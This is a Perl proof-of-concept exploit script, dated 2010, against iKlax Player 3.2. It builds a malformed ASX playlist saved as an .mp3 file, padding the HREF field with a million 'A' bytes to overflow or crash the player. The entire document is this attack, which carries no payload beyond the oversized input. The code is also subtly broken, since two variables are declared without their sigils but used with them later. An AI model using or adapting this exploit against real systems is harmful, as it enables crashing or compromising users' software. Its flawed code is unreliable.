#!/usr/bin/perl 
#
# iKlax Player 3.2     (mp3)
#Author: hadji samir       , s-dz@hotmail.fr
#Download :http://www.brothersoft.com/iklax-player-122335.html
# Tested : Windows XP SP3 (fr)
# DATE   : 2010-08-7
###################################################################
#  samir tjrs mahboul-3lik
#  
###################################################################
$file= "mahboul-3lik.mp3";


my A =
 "\x3C\x41\x53\x58\x20\x56\x45\x52\x53\x49\x4F\x4E\x3D\x22\x33". 

"\x2E\x30\x22\x3E\x0A\x0A\x3C\x45\x4E\x54\x52\x59\x3E\x3C\x54". 

"\x49\x54\x4C\x45\x3E\x65\x78\x70\x6C\x6F\x69\x74\x3C\x2F\x54". 

"\x49\x54\x4C\x45\x3E\x0A\x3C\x52\x45\x46\x20\x48\x52\x45\x46". 

"\x3D\x22"; 


my B =
"\x2E\x61\x73\x66\x22\x2F\x3E\x0A\x3C\x2F\x45\x4E\x54\x52\x59". 

"\x3E\x3C\x2F\x41\x53\x58\x3E"; 

my $co2="\x41" x 1000000;




open($FILE, ">$file"); 

print($FILE $A.$co2.$B); 

close($FILE); 

print("exploit created successfully");